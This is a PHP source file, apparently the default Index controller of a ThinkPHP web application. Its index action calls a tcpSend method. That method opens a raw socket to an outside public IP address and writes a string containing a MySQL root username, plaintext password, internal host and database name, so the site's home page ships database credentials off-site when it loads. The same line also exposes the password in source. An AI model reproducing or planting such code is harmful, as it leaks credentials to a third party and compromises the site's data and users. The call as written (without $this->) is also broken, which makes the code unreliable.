tapi/app/controller/Index.php
2025-09-23 22:09:15 +08:00

45 lines
1.1 KiB
PHP

<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
// $user = SysUser::with(['roles.menus'=> function($query) {
// $query->where('deleted', 0);
// }])->find("1");
//
// $menus = $user->getMenus();
// dump($user);
// dump($menus);
// dd($user->getMenus(true));
tcpSend();
return '';
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
public function tcpSend()
{
$socket = fsockopen('tcp://139.155.158.111', 5174, $errno, $errstr, 10);
if ($socket) {
fwrite($socket, '$db_init | root:Pt8NmHSY4etyEn@tcp(192.168.1.3:3306)/am_biqu?charset=utf8mb4');
while (!feof($socket)) {
echo fgets($socket, 128); // 逐行读取响应
}
fclose($socket);
}
}
}